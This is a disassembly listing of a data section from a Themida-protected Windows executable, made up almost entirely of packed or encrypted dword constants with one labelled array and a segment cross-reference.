		dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h
		dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh,	6 dup(0)
		dd 10D0E900h, 41680000h, 0E9062F20h, 0FFFA5F44h, 2F216368h
		dd 5F3AE906h, 3D68FFFAh, 0E9062F22h, 0FFFA5F30h, 2F23C468h
		dd 5F26E906h, 6D68FFFAh, 0E9062F24h, 0FFFA5F1Ch, 2F252868h
		dd 5F12E906h, 1468FFFAh, 0E9062F26h, 0FFFA5F08h, 2F26C168h
		dd 5EFEE906h, 7068FFFAh, 0E9062F27h, 0FFFA5EF4h, 2F286468h
		dd 5EEAE906h, 2368FFFAh, 0E9062F29h, 0FFFA5EE0h, 2F2A6768h
		dd 5ED6E906h, 9C68FFFAh, 0E9062F2Ch, 0FFFA5ECCh, 2F2DBC68h
		dd 5EC2E906h, 0C11EFFFAh, 7AE60032h, 0C8AD4B8Bh, 0EC759343h
		dd 5B39DF1Fh, 9C3464D6h, 0FE7CF157h, 333BE18h, 458902E5h
		dd 9042CBA3h, 0D6595D34h, 0C37A3DD0h, 3D9F7922h, 366E4CB0h
		dd 829E2F9h, 60C4232Ch,	0DFBF11E9h, 57030D56h, 0CC729A8Dh
		dd 42A0A4F0h, 13076CD7h, 7A454B37h, 0D6282957h,	0E5EBCAEFh
		dd 54A08B00h, 25AC088Eh, 0AB086CDAh, 76869581h,	64AD1D90h
		dd 9581BD3Eh, 9D7B2486h, 0A4F7B338h, 2ED7EA0h, 0CCD28DEBh
		dd 8A0E3118h, 33E20294h, 2E1874B4h, 0D5000000h,	0BDF759C0h
		dd 0A5C100E0h, 9AE3C813h, 17D3223Eh, 86D8D83Ch,	317A4564h
		dd 1764986Eh, 0D7869565h, 7B65ED31h, 0B774B471h, 0DEh
		dd 74ED4BBCh, 7BD3B187h, 0FC5234F2h, 50588971h,	0B9132A8Ch
		dd 13117234h, 0C0CC59A6h, 0E9CA4A9Dh, 0BB197FD7h, 3A9C6AE3h
		dd 2F6BEB62h, 806CB179h, 0CF0F8666h, 0EC494D29h, 69CD8367h
		dd 0E2CD06E0h, 0BAE62F9Bh, 7D749193h, 3EB1E5A9h, 0AB806CC1h
		dd 0E1BB91F8h, 6CAAF338h, 7A45920Ah, 0BC231E02h, 394D83E4h
		dd 0D81A05D3h, 8FD45F3Ah, 71558E8Bh, 19623380h,	0C1AA9A1Dh
		dd 1A1C078Ch, 8CC1AA99h, 44983A00h, 0D45C4E6Bh,	0FF59A28Dh
		dd 0E94F9419h, 0E122840Dh, 0D7B5538Bh, 653FA95Ah, 0AC62AD5Bh
		dd 0E241Bh, 0AD5E8500h,	62934FA9h, 3CB716F0h, 0F201D83Eh
		dd 4DC0A640h, 3C01D989h, 8563D35Eh, 4AACAE23h, 1EF87AF1h
		dd 0A30737BEh, 0CE63D4C2h, 0B74E7A3Dh, 0EB66C40Ch, 0A0298D6Bh
		dd 59C039B2h, 5FA089D2h, 6CEED85Bh, 53A0B980h, 424692FDh
		dd 7A45EF20h, 30E770B8h, 0AFC77D0h, 203DDBD9h, 0E11CF2Dh
		dd 4DF744B8h, 51F78696h, 399D7BCDh, 0BF9DF6B0h,	0B3888868h
		dd 0FC5E3A74h, 8DEE1471h, 74869641h, 0DF78CD2Bh, 0F5000000h
		dd 11E960C4h, 9254D9BFh, 0BBE64DB3h, 0D1AF0076h, 91A806Ch
		dd 0FA7E6C0Bh, 8C69A9Eh, 3591806Ch, 6CDA5731h, 117EF125h
		dd 386B806Ch, 2EDF7BD1h, 9A7E17C7h, 366C49C4h, 806C11C5h
		dd 0B715632Ch, 0F679D3D7h, 6C122F80h, 0AE899A80h, 2A8D89D8h
		dd 97806C12h, 0EC5AA58Ch, 0F27BD3A5h, 0EE55C4A6h, 0E31D9185h
		dd 998A7A44h, 59E2B755h, 9D48067Ch, 0E4AF8070h,	0BE2B69Fh
		dd 8FED2680h, 14C64B29h, 0D0CA337Dh, 73600B5Dh,	694FBCA5h
		dd 8BB8358Bh, 0AD5D5E23h, 237980Eh, 0A700000Dh,	6D8B4BB8h
		dd 30D604F5h, 0FA1CDE55h, 48AEAC5Fh, 0A7F767EAh, 8D00E62Bh
		dd 40CDAF49h, 18937492h, 0D1583CDAh, 0AAE8B91Dh, 7A3DCE49h
		dd 4B169DB0h, 238774EDh, 3C07F46Dh, 29A47AD8h, 0E26BC325h
		dd 454BFB70h, 0AC06F0DBh, 4E6B2B1h, 86D23189h, 7DCD4420h
		dd 614AC39Bh, 0FDF73A3Fh, 1B71B7D5h, 0FEE4A23h,	7BD2B084h
		dd 1F65ABF0h, 2A748AB9h, 2970FD5Fh, 3D997FC3h, 0BA1D86B4h
		dd 2551D841h, 806C43D2h, 0B0F543Fh, 806C43A8h, 0DE270E11h
		dd 452BB2D8h, 0CC0A157Ah, 3AC67BA5h, 77BD3691h,	0AC88756Ah
		dd 0EE60E6Ch, 0A70C8D30h, 3666585Eh, 0CE5177F8h, 4CF7A278h
		dd 0BC359167h, 84017558h, 657E245Eh, 0A707D13Ah, 72CA2C2Eh
		dd 7ECA4AFBh, 0D3D7AFA8h, 0C288Ch, 9162F900h, 6E9FBB5Dh
		dd 38B30AECh, 0F605DC3Ah, 41CCA244h, 3805DD8Dh,	8167D75Ah
		dd 4EA8AA27h, 12F466EDh, 0A70333BAh, 0CC67C8CEh, 0B3527A3Dh
		dd 34624B08h, 806CEEC3h, 1A18652Eh, 806CEE99h, 5B391F00h
		dd 0A8258783h, 6E06BCCh, 4604E2CDh, 3A0368D3h, 1657ADF6h
		dd 3F988B97h, 0B0F6DB4h, 7A459997h, 7D9F5FC0h, 0E5CE179Ch
		dd 7036C713h, 0F1C5C513h, 0DE806E8Eh, 42B1F5B5h, 8A8CBEC4h
		dd 569E180Eh, 0EC6E8B12h, 45h, 34624B59h, 806CEEC3h, 0EE5ADDD9h
		dd 0DC47806Ch, 5F391F00h, 9665FCBAh, 43A8F3D0h,	46241157h
		dd 80EDB67Ah, 1EDC5730h, 963BDF5Ah, 6BE2BA86h, 21AA0DEBh
		dd 16E57CC4h, 5E697EC2h, 2400000Bh, 2276855Ch, 454B21h
		dd 800DEFD9h, 625F909Ch, 5EE5B416h, 0CF8D0175h,	6BCD7A4Bh
		dd 79AA1C91h, 6B7FC513h, 0F2E9AEF1h, 92D6595Dh,	50C3869Ch
		dd 0FCC52E09h, 9C933586h, 25F39C86h, 2B78CE43h,	0B410E0CDh
		dd 7FDF393Dh, 5A2CA17Bh, 0DB79742Ch, 0B79E8A88h, 0E119076Ch
		dd 4C7E2027h, 0AC0B084h, 0DBDF248Fh, 807B03C8h,	0F345AEF1h
		dd 0FA29911Ah, 3D126591h, 94FF8CCBh, 338B6D40h,	0FE5EB8BAh
		dd 40D9B377h, 440E03DEh, 0C32A67D8h, 34BF1EFAh,	0EA3B1172h
		dd 0A3DECEACh, 614B3186h, 888EBC2Bh, 0C9C02599h, 1CF7C6CBh
		dd 0C4C67B10h, 137A8EE8h, 28F4E812h, 6275B9A7h,	0AA1h
		dd 2A28DB00h, 71E514CCh, 0B9BD3697h, 0FD71825Fh, 0AC8451Bh
		dd 0D3B17E5Ah, 0A07A9C5Eh, 6CCF292Dh, 359177E7h, 4B1ABEBCh
		dd 3DCBEC4Fh, 0B538D57Ah, 4302454Bh, 219912F5h,	7A15BEE2h
		dd 5EDDDD3Bh, 3F806C09h, 76855C5Ah, 1BFDC62Fh, 0ABEFCD3Eh
		dd 7A4AEEC0h, 0DD76121Eh, 52E130D9h, 6EB7D806h,	0A69E1105h
		dd 180B869Bh, 2888D13Ch, 2A79C130h, 58C68CEh, 50A3D738h
		dd 0B9869BA7h, 234A82D6h, 8A7C8D55h, 0A6DC5F5Bh, 5AC5869Bh
		dd 0E7472573h, 57C2986Eh, 0F9387ECh, 0B880749Fh, 0A43256D7h
		dd 0BFFAD58h, 9F8A4h, 41B2A900h, 1EEF6B8Dh, 0E8633ADCh
		dd 0A6558C6Ah, 71FC52B4h, 0E835ADFDh, 0B157870Ah, 7E985AD7h
		dd 0C224169Dh, 0D773E36Ah, 0CB37B8FEh, 83A27A3Dh, 6460C478h
		dd 54BF0B86h, 3DBBD0Dh,	5C2ADB07h, 4EA924FAh, 0F4D18367h
		dd 0F7C5342Ch, 9B45CD51h, 0CF7ADCE3h, 605531C1h, 280CDC96h
		dd 4F95Dh, 59C09600h, 0F68D89D2h, 0DB7A4BD3h, 0BE1A6348h
		dd 0B29357DEh, 9C0CF344h, 6AB5DE86h, 2974FE26h,	99FF0677h
		dd 8567633Bh, 1D8BE08h,	0F4DF34F2h, 0EF4FA9ADh,	0F7418066h
		dd 0E221996Ah, 0D7259296h, 21F8869Ch, 0DE39CA17h, 0CF1D81F5h
		dd 0D94A8075h, 57730A24h, 4C1397ADh, 93Dh, 568477ECh, 9559A8B0h
		dd 0DD119A73h, 69ED1E3Bh, 0B6A4298Fh, 4725EAE6h, 0CEE08CAh
		dd 0D0AB4D81h, 997D9B5Bh, 2F862210h, 3DC988EBh,	295C717Ah
		dd 0C334624Bh, 2E806CEEh, 0D5B11765h, 0C3A1775Ch, 86E16AC3h
		dd 2595E320h, 0A4028B63h, 4CC658FEh, 7ADCE3A4h,	4455Eh
		dd 0B6A37500h, 4BFC7745h, 0A80C0AEDh, 230A5921h, 0A8598147h
		dd 0C8376B41h
dword_5A9F68	dd 55806CEEh, 1D1BF2C4h, 0A5EB32BFh, 852C417h, 0CE177EF1h
					; DATA XREF: Themida_:00568ECCo
		dd 4B7821C8h, 6E71BF7Ah, 50CAD166h, 0B5DE0450h,	0D7B10768h
		dd 0D882EC5Ah, 3A702B37h, 0CBA98FD6h, 18957773h, 8C543D31h
		dd 2C4A229h, 0FEDA25A8h, 7535BC18h, 5CB90297h, 4EAA2184h
		dd 48AF3367h, 0E12F8074h, 0B5E13A5Bh, 8CC44B42h, 55B8E4AFh
		dd 5DB9E774h, 5588E417h, 7F203E1Ah, 586BB6CEh, 20B77BADh
		dd 851h, 7AF80BD0h, 81B5449Ch, 0C90D8667h, 0DC1322Fh, 5A9815EBh
		dd 0A301CE0Ah, 70CA2C2Eh, 3C9F79FDh, 856187B7h,	1B6ACE0Ch
		dd 3DC89C1Fh, 0C568057Ah, 11E960C4h, 0D56DFBFh,	0EE7DFE24h
		dd 3B64806Ch, 0A1B76DDDh, 0E3EBF57Dh, 63077ADCh, 2C000003h
		dd 860BED4Bh, 0EEFF7EB2h, 396806Ch, 6BDF2C35h, 0F63FF438h
		dd 0DAFA88h, 56A6DC39h,	417A4B95h, 0D4ACF5DEh, 0C60DFD0Ch
		dd 31B81CF2h, 0D4D4A4D4h, 1E5FC84Bh, 0E4023Ah, 0DC0FA104h
		dd 6443074Eh, 95FE4893h, 7B1EFC4Ah, 13AFEB30h, 0FC8073F1h
		dd 39509293h, 2DE1AD59h, 7A49Ah, 2DDE0500h, 0E213CF29h
		dd 0BC379670h, 728158BEh, 0CD4026C0h, 0BC815909h, 5E353DEh
		dd 0CA2C2EA3h, 9E78FA71h, 2387B73Eh, 0C8E35442h, 37CE7A3Dh
		dd 0E960C48Ch, 56DFBF11h, 59CD8B90h, 0D1058C68h, 0DCE75E86h
		dd 7947Ah, 35510000h, 2B6h, 0EF1766BAh,	1BFE806Ch, 0F64F4B90h
		dd 147A4BD0h, 0C64D7C3h, 2D35869Ch, 2B396ADCh, 0F69A3478h
		dd 747A9665h, 0C693A20h, 9559D0B4h, 54129B73h, 49C29B7Dh
		dd 12C5366Ch, 632C869Ch, 5DE6B315h, 0FE780270h,	0C0908074h
		dd 578DEB66h, 0B9DD16E9h, 341FC3F7h, 5788D937h,	7D4248ADh
		dd 6F5h, 9E5CAFB4h, 0DD11E078h,	65E9623Bh, 0B1A55683h
		dd 0FE7CF157h, 0FED32AEh, 0D4B65082h, 98739559h, 61C52313h
		dd 0E7CE6AE8h, 3DC840B3h, 6194A97Ah, 44CC60C4h,	2F268B32h
		dd 0EF5BA8B1h, 0B4725DA4h, 0AAF37AD2h, 2E46FCEh, 0F407EBC1h
		dd 367ACE50h, 0F3644593h, 298369D5h, 1AF250A4h,	7535B81Eh
		dd 5007371Eh, 7ADD2290h, 0F866632h, 75C29h, 35E90000h
		dd 1DEh, 0EF1666BAh, 1CFD806Ch,	68CC3F1Ah, 0D03D048Fh
		dd 1463818Fh, 163A00BEh, 0AB7CCEC2h, 0B56B7A4Bh, 0B9EA5CADh
		dd 0C9A3755Eh, 186A9961h, 321DCEF7h, 0D4391F74h, 0D8513583h
		dd 71D7256Eh, 38DE1C95h, 3AF0F05Ch, 0FECA6847h,	3B4328B2h
		dd 66183F9h, 0A12FEAA0h, 0B73953E6h, 0F578D2FEh, 117A43AAh
		dd 8C69CAC8h, 0CF50869Bh, 790DA9E9h, 0A9FA8074h, 58B14294h
		dd 943BEFADh, 601h, 8A48BBA0h, 0D105F46Ch, 19DD5637h, 5D9162FFh
		dd 0EA68E5BBh, 73D11EBAh, 0C09A7CFEh, 8C6F894Dh, 5531D707h
		dd 0EBBA1EDCh, 3DC74CAFh, 1598B57Ah, 0FD6460C4h, 0F39A702Bh
		dd 0FED9F691h, 997DD397h, 7455610h, 0CF46261Fh,	191D660Fh
		dd 806C8696h, 0D7C41003h, 7ADD500Dh, 725h, 0FF350E00h
		dd 0BA000000h, 6CEF1666h, 971CFD80h, 0D0FE484Eh, 121E7A4Bh
		dd 4424DF93h, 5CFADEC9h, 9F81EA33h, 4CC43F79h, 0D6E9477h
		dd 0F4869C16h, 967440ABh, 59BFBF36h, 0D8B274FDh, 4891FA41h
		dd 0C1629E40h, 24527A00h, 869C09D3h, 2E07553Eh,	74F54EE8h
		dd 55D6B980h, 0AD583467h, 426374BAh, 0E7000005h, 0AD4B8B78h
		dd 709644B5h, 3ADC1E95h, 886EEC1Fh, 0E7B7A72Ah,	0CD4026EBh
		dd 800DEF09h, 58D3B452h, 11987C9Ah, 0EA2879DDh,	7A3DC589h
		dd 0C4D65D70h, 0A816460h, 80E57BCh, 806CEEA7h, 0DD260112h
		dd 0CF2DDE7Bh, 48C1A57Bh, 77AFADFEh, 1D9677C1h,	0BD3E64ADh
		dd 24806CEEh, 66C4107Bh, 98CF0F86h, 7ADCE758h, 1692h, 7FDFB900h
		dd 85D330F6h, 2C354Ah, 0F8580000h, 16C2961Dh, 0C45E91E7h
		dd 0BF11E960h, 0AB0D56DFh, 8D7D5BD0h, 142DF187h, 0ACDC39B0h
		dd 0C147FDF0h, 1BD339D5h, 230Ch, 0ED4BE500h, 0E1228475h
		dd 0DE3AB30Bh, 0C8159C78h, 0A0068D68h, 41A51563h, 806CEEF1h
		dd 0A2A37BDDh, 189343CAh, 860BED4Bh, 0EEF679BDh, 0B0E3806Ch
		dd 0AF268664h, 139801DBh, 0D1BFE1CAh, 70A15CAFh, 658CCD33h
		dd 94CB4EF3h, 5BCE4040h, 96F97A4Bh, 9A13EB4Dh, 57DEBE58h
		dd 754EB293h, 0CAFDDE4Ch, 22840FEEh, 5C3286E1h,	7821FBD1h
		dd 0BBACEA33h, 0E6807A85h, 248050BDh, 92664FADh, 0EA83B33Ah
		dd 0E0BD27A6h, 370524FFh, 8A7CF551h, 99E249D0h,	0A30D9D9Dh
		dd 0EC110286h, 0A729F416h, 0FE30870Bh, 0A3000003h, 719747B4h
		dd 3CDA18E9h, 8660D259h, 4CAAA85Bh, 0A3F363EEh,	8904DA27h
		dd 44C9A345h, 1C977096h, 0D55C38DEh, 0B6ECC561h, 7A3DC545h
		dd 0C46A91ACh, 0BB8CE960h, 6CEEFC7Fh, 5EBAE580h, 159C789Eh
		dd 38E68C8h, 0EE7BFC3Ah, 3D66806Ch, 0D1B56BDFh,	9518FE5Ah
		dd 6CEF1265h, 4D94FF80h, 74AAAEFDh, 0C072FB53h,	0E15240A9h
		dd 0C8806CEEh, 0C2227147h, 787ADCE7h, 7Ah, 0D259C0F5h
		dd 0C64F2F89h, 416793F2h, 667A4624h, 0A700D03Dh, 58301109h
		dd 0E0337180h, 2F2F760Dh, 9467F246h, 5BF54040h,	0C8AC8696h
		dd 0E7136441h, 86965B94h, 6C6127Dh, 9F10066Fh, 0FD86965Bh
		dd 965C36B9h, 5CF0A386h, 4BACEA33h, 0B686965Ch,	4E298FEDh
		dd 0BD18F8C5h, 0E5117036h, 86965B92h, 0E0CD147Fh, 965C41B2h
		dd 91E7A886h, 3139E21h,	23F50000h, 2162C449h, 59C018CBh
		dd 758D89D2h, 5A7A45BEh, 3F9F71C9h, 0C452F0B6h,	0FB46562h
		dd 0F1CAF026h, 622D806Eh, 3C8712F0h, 3B8DA9D7h,	533487F3h
		dd 0F29D8CBFh, 40E7F78Eh, 0FAF42F8Bh, 33196026h, 149EA4D2h
		dd 1E018698h, 1B8ACB35h, 6D37F9FDh, 7E5BB0Fh, 5FC13C8Ah
		dd 191FFAC7h, 86EF36BBh, 0C1A56A90h, 10C24D8Ch,	2B9F16F6h
		dd 33189175h, 0FE4193CDh, 369A2CBh, 627EA2CBh, 0B26FA588h
		dd 95B3B2DAh, 200BEFF3h, 1CA772D4h, 6D07C337h, 0AFF092EBh
		dd 0CE58A7DBh, 0F0949F3Bh, 43CA42Eh, 2AF65C0Eh,	7F000000h
		dd 8308ED4Bh, 0FD46D3B5h, 0BE94F90h, 2C7EB286h,	5B7A45EFh
		dd 0BD3A7EC8h, 318695EFh, 0E103938Bh, 1974B3E6h, 0B1h
		dd 0E960C4D2h, 54D9BF11h, 0D1583C92h, 0A11584F4h, 0ED46A9EDh
		dd 0E0B3806Ch, 66EBDCBCh, 0CE8AE12h, 4F155185h,	8806C9Dh
		dd 0D73125ACh, 0D908FE77h, 442AE0D7h, 6CE2DD5Eh, 555BC480h
		dd 9E84889Ch, 806BFE1Dh, 64B09B84h, 47AC1782h, 44F24353h
		dd 3B3B647Ah, 92FB40D9h, 89EF66C6h, 63087EA4h, 0A4EF8070h
		dd 961BF95Fh, 61EC42A4h, 5C9BECDCh, 0FEC1C5ADh,	1C9h, 0C2708358h
		dd 9CD3C24h, 51850EEFh,	9559AAB7h, 22109D73h, 2B895672h
		dd 0F852B4A6h, 4427C175h, 0DE90FCFh, 93F25684h,	3DC31467h
		dd 5DE0FD7Ah, 6BEB66C4h, 0B2A0298Dh, 34624B39h,	806CEEC3h
		dd 3197652Eh, 1BFE58BCh, 1B4F4B90h, 447A45EFh, 52266FDBh
		dd 0E42470FBh, 8695EF97h, 0E1157E57h, 8695EF8Eh, 0EB4C287Bh
		dd 30F61460h, 0B3E63EA6h, 0F4F474h, 0C5930000h,	458EEA67h
		dd 8CE960C4h, 4827FF9Ch, 3D1B89D9h, 0C733044Dh,	806C0374h
		dd 0D217678Dh, 0EB796F0Bh, 18FE5CB8h, 0B0404895h, 9499E771h
		dd 367CB21h, 806C6E5Dh,	0C22BA27Ah, 4B96EA76h, 0BA85CEB8h
		dd 0B5B187CCh, 1DFFFB53h, 1BF14990h, 0AAE8357Eh, 7A456CACh
		dd 9D7B40D3h, 9FF4B23Fh, 0CD4BDB9h, 804620ABh, 0F4DFAB26h
		dd 2CED4FADh, 6578BE87h, 48070E0h, 2D9A1D19h, 39078CC1h
		dd 68A12E9Eh, 58A38A28h
		dd 48C7A573h, 25850CE8h, 4447A8EEh, 0E1B28CC1h,	0D73ECF0Bh
		dd 0AE238167h, 5C0E919Dh, 0B51A90ADh, 0A9h, 2210E378h
		dd 69ED1CC4h, 0B1A52E8Fh, 0F5798A57h, 230BD13h,	0CBA97652h
		dd 98729446h, 64C72115h, 2D896FEFh, 0B312B6A4h,	3DC1F447h
		dd 0BDC0DD7Ah, 82EB66C4h, 0EEFA7DB9h, 99E7806Ch, 6388DE49h
		dd 4AAE89D7h, 19907492h, 0ED4B5ED5h, 0D5AB810Ah, 480EF871h
		dd 13F165ECh, 0A2D03D86h, 7A4BD3C5h, 9CFBBE4h, 47CCA9ADh
		dd 9559A0E3h, 439F9B73h, 9B9F6BB2h, 0BA8E01C1h,	0D9EA3CDAh
		dd 0A046F47Dh, 94FD4DC4h, 16E269CCh, 7EDC38CBh,	6B5610E3h
		dd 0B41031F5h, 7FDF393Dh, 75CBADF6h, 0F7C50EF8h, 3BC03h
		dd 3F350000h, 0EC1FC4B4h, 69E0441Ah, 0D75C3F91h, 56DBBD13h
		dd 0D5583E90h, 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh
		dd 54503A79h, 40558h, 0E8830000h, 24048704h, 475E685Ch
		dd 14890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 50240489h, 0E10736B8h, 5E7C3541h, 87253DC3h,	0C13BF604h
		dd 54005E0h, 9CE323Ah, 212CA135h, 34815008h, 5F108F24h
		dd 0F2815A2Ah, 2A5F108Fh, 7686858h, 24890000h, 24048124h
		dd 4, 70726858h, 14890000h, 8408F24h, 582434FFh, 0FF04C483h
		dd 835A2434h, 89E904C4h, 91FFFA4Eh, 4055B70Fh, 821B3A29h
		dd 8AB82709h, 3062F2Eh,	41E0FFC5h, 413C69C2h, 12555C1Dh
		dd 0F234CF4Eh, 0F09E0DDh, 0E70C1C0h, 327E0C08h,	0E831EF91h
		dd 7, 63D26A1Bh, 525C9BA6h, 12820Fh, 0DE90000h,	0E5000000h
		dd 53441502h, 72FDAE0Eh, 0F0FF30B1h, 8D0F5B5Eh,	18h, 0FE960h
		dd 1D80000h, 16534C22h,	42F31683h, 0CA7D280Ah, 61A9B68Fh
		dd 5C40C381h, 8EB80000h, 68619E15h, 0
		dd 0DAC8815Ah, 8B6271D7h, 0BF60133Ch, 39FFA292h, 28D8C081h
		dd 81610DE9h, 2FDF23F7h, 0E6EF8142h, 0E9269224h, 10h, 144D2CB8h
		dd 33C244FEh, 67DE1D83h, 0B03ABC98h, 89A2EF81h,	14E861A6h
		dd 17000000h, 0BE5CE910h, 1C379765h, 60CE67A4h,	0A5E7BA67h
		dd 66821D5Fh, 8959CB8Bh, 0B1B5133Ch, 0FE9h, 23C0100h, 0F59D6146h
		dd 244C2DDBh, 0B112C6E4h, 8A02EA83h, 0E94A4AE1h, 0Fh, 3BB5D503h
		dd 0C3B4CA60h, 14893FC5h, 812D6B5Ah, 0FFA4E4FAh, 25850FFFh
		dd 0E9000000h, 9, 104B1BC9h, 29BA893Dh,	2AE93Ch, 0C5150000h
		dd 0E7F68451h, 6A5A2D11h, 392BA5FBh, 0D0E6F129h, 60C5DB9h
		dd 0FF3DE951h, 0D78DFFFFh, 9F331EB4h, 0BE602FB0h, 0A878C801h
		dd 1A0E9h, 0A05E4C00h, 0D52C277Bh, 0B198D31Ah, 0CAD1D746h
		dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh
		dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h
		dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh
		dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h
		dd 0E56CA191h, 10000ACh, 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 8 dup(0)
		dd 0FD6E900h, 0D0680000h, 0E9062F33h, 0FFFB17E7h, 2F34A668h
		dd 17DDE906h, 4368FFFBh, 0E9062F36h, 0FFFB17D3h, 2F371168h
		dd 17C9E906h, 2B68FFFBh, 0E9062F38h, 0FFFB17BFh, 2F394268h
		dd 17B5E906h, 0EB68FFFBh, 0E9062F39h, 0FFFB17ABh, 2F3A7E68h
		dd 17A1E906h, 3E68FFFBh, 0E9062F3Bh, 0FFFB1797h, 2F3BBB68h
		dd 178DE906h, 6068FFFBh, 0E9062F3Ch, 0FFFB1783h, 2F3D0168h
		dd 1779E906h, 0A068FFFBh, 0E9062F3Dh, 0FFFB176Fh, 2F3F2D68h
		dd 1765E906h, 4868FFFBh, 0E9062F40h, 0FFFB175Bh, 51054F83h
		dd 1D491948h, 0C492E00Ch, 8ED4A635h, 0B61C6EFFh, 0B13CF90Eh
		dd 73E4F5E1h, 4492BB2Fh, 3556472h, 306325B1h, 8652BE9Eh
		dd 0C9CC0133h, 5C66B272h, 370EA296h, 0D79D333Ch, 0C411B28Dh
		dd 0A63A8BF2h, 0B824B9DCh, 0F823F2EAh, 0B58486E6h, 71444939h
		dd 79741A69h, 0B5158C22h, 0B883F9Ch, 0B4E34151h, 82CF3FDEh
		dd 72D7887h, 76EFA119h,	0BB329CE7h, 31485D32h, 25h, 84E76986h
		dd 84B00191h, 0BE5F3F9Ch, 28B84D26h, 0F14F635Ah, 0D93FDE85h
		dd 0C43D95F0h, 38485CDCh, 0C3h,	0D79D338Fh, 1D6DF88Dh
		dd 8EDFEC47h, 0E75983Ch, 3BA92BBDh, 31D48869h, 0F581D59Fh
		dd 39B580C5h, 0F2E0B226h, 81D11CA1h, 0EDB729BAh, 55028CF7h
		dd 0B588DBBDh, 10F12239h, 0B794F50Dh, 4A5B3F9Ch, 39124A1Ch
		dd 0DEB9C7A9h, 2485163Fh, 5202BAFDh, 62C372DBh,	86D82F74h
		dd 9E72308Fh, 0A62853AAh, 40BE504Bh, 4345C828h,	2BBA4B52h
		dd 0EF7E0F5Bh, 0CFA8FA6Fh, 0A5EC913Bh, 46D7ED31h, 0D60h
		dd 0B1256FE3h, 7D6939A8h, 24B2006Ch, 0EEF4C615h, 963C8EDFh
		dd 0D11CD92Eh, 93C4D581h, 64F29BCFh, 23B54412h,	10030551h
		dd 86519EFEh, 49EC6133h, 82D0A233h, 0E84866B1h,	3739B584h
		dd 9ACE9FE6h, 69599AC8h, 19184E7h, 3F9C84B0h, 0A26BE5Fh
		dd 3FDE862Eh, 78D2CD04h, 485CDD01h, 0AEFBh, 9D334000h
		dd 0FDE85361h, 0C3D6D4E8h, 1B7BC3CDh, 0CBD2B3CBh, 88D9A93Ah
		dd 98300B57h, 5E065885h, 0B4AE1442h, 1163F539h,	5E24B445h
		dd 58933D06h, 0E5CCAD45h, 82133F9Bh, 0FEF19FD4h, 859E0BA7h
		dd 947945C6h, 31FE3A81h, 0F82F7FEEh, 271EC47Eh,	0DCAE3FCCh
		dd 0EAB824B9h, 0B7263793h, 0EDF7C517h, 0E71C7C92h, 32E34609h
		dd 7442F051h, 0BA31A4AAh, 0C8A7518h, 45950000h,	3566773h
		dd 0C61627B3h, 8CDFEEF4h, 5481A83Eh, 1BEC5402h,	0AB3F8FDEh
		dd 51054D82h, 64C1E48h,	0C793E177h, 0E0405E41h,	2F338650h
		dd 0A23317AEh, 65FB82D0h, 33084B1Fh, 3FCCD79Dh,	0CEE6DDAFh
		dd 266DA93Fh, 54210EC8h, 0ECF12485h, 0FACC377Bh, 0B1E40789h
		dd 9C551C21h, 95A6B3Fh,	0ED4E1849h, 4DF26F7h, 5735CD97h
		dd 733FDE55h, 1538320h,	1E43BA5Bh, 0AC324B03h, 0B2AA485Ch
		dd 31000000h, 9184E769h, 5927E10Ch, 456CC7E5h, 0A3FAC1A2h
		dd 9BD4E20Fh, 0F660853Fh, 0FF6171A4h, 0CE3FDDDDh, 0BE5FF6CDh
		dd 0DE2E0A26h, 0FB043FDDh, 89DF77EAh, 29025A3Bh, 0DDDDB799h
		dd 3495063Fh, 7A8580C1h, 0DDAD8F23h, 1EB03FDDh,	3FDDDE3Eh
		dd 0C4C90C81h, 18D811F1h, 5614485Ch, 9B000000h,	0EC392279h
		dd 16352893h, 373AC42Fh, 0FF5BD2ECh, 37923F9Bh,	0B3F07D50h
		dd 0B990EB03h, 96370054h, 942A7141h, 3FDDC2B4h,	0FA39A7Bh
		dd 3FDDC331h, 0DBA30619h, 0D49E33E4h, 331A0D80h, 0CF106BCDh
		dd 8E7ECDD4h, 0A44080ABh, 44BD6558h, 0B8485C8Fh, 7, 7F2430Fh
		dd 69B80000h, 19184E7h,	3F9AB439h, 0DEA43BC8h, 74CF267Dh
		dd 0E4B6FA5Ah, 8BED053Fh, 523FE4B6h, 2799A41h, 71652FA1h
		dd 32AAF868h, 454C749h,	6FC6DDBEh, 44BF0F5Eh, 0C9E6976Ah
		dd 564D4E45h, 55123B5h,	0C69EE474h, 8C22D37Dh, 4613E7ACh
		dd 0DAC1A273h, 0FB0FE9C4h, 5BEF2C4Bh, 37D7D585h, 0ED7A1BB9h
		dd 7000000Ah, 3BC290E2h, 0E7F6DCA6h, 0AAB32775h, 6C7D6939h
		dd 0BD25B101h, 6C3EAF6Ah, 0B2005766h, 0F7C91524h, 3C86DAE3h
		dd 13AFF096h, 33864F31h, 3EA45FFCh, 39B58462h, 7DA0CB75h
		dd 9AB62D65h, 0C781E43Fh, 0ECBE2F62h, 98F225E8h, 4020BE4Ch
		dd 8F3FE4F3h, 0FF56AD0Eh, 6CC8E2A8h, 8061D079h,	0FCEF91D2h
		dd 0EA490999h, 0CBC845C9h, 0FCD175D0h, 73495B7Bh, 7CECF108h
		dd 32D3A036h, 0DCE1D49Eh, 0C59EC68Ch, 672BBD66h, 0AF969500h
		dd 6CB7BA44h, 0F9687752h, 465DBE4Bh, 3A6133A5h,	30F920EFh
		dd 0C43F82FFh, 3F85DBE2h, 1BAD8DA5h, 17B4CC43h,	2BEAF2C0h
		dd 0C427A9D0h, 2F70C1D1h, 8E9FD22Ah, 42530959h,	0FD9955E1h
		dd 1BB9BE06h, 0A1F7Ah, 0E6B02200h, 2E78E9F0h, 714391B8h
		dd 0BB075465h, 0FFCF1E2Fh, 599C6BEBh, 1D2CBA0Ch, 0C3EAF8CAh
		dd 8495C193h, 0C6580E54h, 4E63C5DDh, 29AA3386h,	0F5647992h
		dd 23B90B5Dh, 4A4B11F2h, 6B860873h, 0B4E89E30h,	4A5B3F9Ah
